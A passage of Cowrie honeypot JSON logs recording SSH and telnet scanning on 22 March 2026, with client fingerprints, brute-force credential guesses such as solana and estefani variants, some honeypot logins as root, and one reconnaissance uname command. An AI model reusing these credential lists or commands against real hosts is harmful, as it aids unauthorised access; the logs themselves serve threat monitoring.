-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:06:24.552225Z","src_ip":"80.94.92.184","session":"a25963611bb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:06:25.132590Z","src_ip":"80.94.92.184","session":"a25963611bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:06:26.332545Z","src_ip":"80.94.92.184","session":"a25963611bb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":39888,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f9ad3deaa84","protocol":"ssh","message":"New connection: 92.118.39.72:39888 (159.203.135.109:22) [session: 1f9ad3deaa84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:07:11.648824Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:07:11.754819Z","src_ip":"92.118.39.72","session":"1f9ad3deaa84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":40106,"dst_ip":"159.203.135.109","dst_port":22,"session":"f53d3883669e","protocol":"ssh","message":"New connection: 92.118.39.92:40106 (159.203.135.109:22) [session: f53d3883669e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:07:52.657347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:07:52.661345Z","src_ip":"92.118.39.92","session":"f53d3883669e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:07:52.760723Z","src_ip":"92.118.39.92","session":"f53d3883669e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"trade","message":"login attempt [root/trade] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:07:53.064955Z","src_ip":"92.118.39.92","session":"f53d3883669e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:07:53.315270Z","src_ip":"92.118.39.92","session":"f53d3883669e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:07:53.318169Z","src_ip":"92.118.39.92","session":"f53d3883669e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:07:53.422158Z","src_ip":"92.118.39.92","session":"f53d3883669e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:07:53.426236Z","src_ip":"92.118.39.92","session":"f53d3883669e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":33936,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b58e91ad77b","protocol":"ssh","message":"New connection: 195.178.110.218:33936 (10.17.0.5:22) [session: 0b58e91ad77b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:08:29.159670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:08:29.163470Z","src_ip":"195.178.110.218","session":"0b58e91ad77b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:08:29.243446Z","src_ip":"195.178.110.218","session":"0b58e91ad77b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:08:29.482204Z","src_ip":"195.178.110.218","session":"0b58e91ad77b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:08:30.563982Z","src_ip":"195.178.110.218","session":"0b58e91ad77b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.22.200.90","src_port":24574,"dst_ip":"159.203.135.109","dst_port":22,"session":"7de6cbf37e9f","protocol":"ssh","message":"New connection: 125.22.200.90:24574 (159.203.135.109:22) [session: 7de6cbf37e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:08:46.095796Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:08:46.101150Z","src_ip":"125.22.200.90","session":"7de6cbf37e9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":14216,"dst_ip":"159.203.135.109","dst_port":22,"session":"020203b5f0d9","protocol":"ssh","message":"New connection: 213.209.159.159:14216 (159.203.135.109:22) [session: 020203b5f0d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:08:57.517684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:09:01.510585Z","src_ip":"213.209.159.159","session":"020203b5f0d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:09:01.589332Z","src_ip":"213.209.159.159","session":"020203b5f0d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"estefani","password":"estefani","message":"login attempt [estefani/estefani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:09:01.992017Z","src_ip":"213.209.159.159","session":"020203b5f0d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"estefani","password":"estefani1","message":"login attempt [estefani/estefani1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:09:03.081232Z","src_ip":"213.209.159.159","session":"020203b5f0d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"estefani","password":"estefani123","message":"login attempt [estefani/estefani123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:09:04.167860Z","src_ip":"213.209.159.159","session":"020203b5f0d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"estefani","password":"estefani1234","message":"login attempt [estefani/estefani1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:09:05.253654Z","src_ip":"213.209.159.159","session":"020203b5f0d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"estefani","password":"estefani12345","message":"login attempt [estefani/estefani12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:09:06.337304Z","src_ip":"213.209.159.159","session":"020203b5f0d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:09:07.422007Z","src_ip":"213.209.159.159","session":"020203b5f0d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":57112,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e94b6184e66","protocol":"ssh","message":"New connection: 80.94.92.184:57112 (10.17.0.5:22) [session: 8e94b6184e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:09:41.174947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:09:41.419203Z","src_ip":"80.94.92.184","session":"8e94b6184e66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:09:41.422432Z","src_ip":"80.94.92.184","session":"8e94b6184e66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234567890","message":"login attempt [solana/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:09:42.545663Z","src_ip":"80.94.92.184","session":"8e94b6184e66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:09:43.938905Z","src_ip":"80.94.92.184","session":"8e94b6184e66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":37848,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e3e50141fb6","protocol":"ssh","message":"New connection: 92.118.39.72:37848 (159.203.135.109:22) [session: 2e3e50141fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:10:02.506412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:10:02.512396Z","src_ip":"92.118.39.72","session":"2e3e50141fb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:10:02.619348Z","src_ip":"92.118.39.72","session":"2e3e50141fb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:10:02.938557Z","src_ip":"92.118.39.72","session":"2e3e50141fb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:10:04.143469Z","src_ip":"92.118.39.72","session":"2e3e50141fb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":55550,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb546c454027","protocol":"ssh","message":"New connection: 92.118.39.92:55550 (159.203.135.109:22) [session: bb546c454027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:10:04.462973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:10:04.472487Z","src_ip":"92.118.39.92","session":"bb546c454027","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:10:04.565480Z","src_ip":"92.118.39.92","session":"bb546c454027","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trade-bot","password":"trade-bot","message":"login attempt [trade-bot/trade-bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:10:04.970498Z","src_ip":"92.118.39.92","session":"bb546c454027","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:10:06.075303Z","src_ip":"92.118.39.92","session":"bb546c454027","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.253.21.150","src_port":48668,"dst_ip":"159.203.135.109","dst_port":23,"session":"e82a4e996f34","protocol":"telnet","message":"New connection: 103.253.21.150:48668 (159.203.135.109:23) [session: e82a4e996f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:10:13.351424Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:10:13.895322Z","src_ip":"103.253.21.150","session":"e82a4e996f34","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:10:14.049963Z","src_ip":"103.253.21.150","session":"e82a4e996f34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":53604,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd2df7b87c8d","protocol":"ssh","message":"New connection: 195.178.110.218:53604 (10.17.0.5:22) [session: cd2df7b87c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:11:07.828447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:11:07.833004Z","src_ip":"195.178.110.218","session":"cd2df7b87c8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr"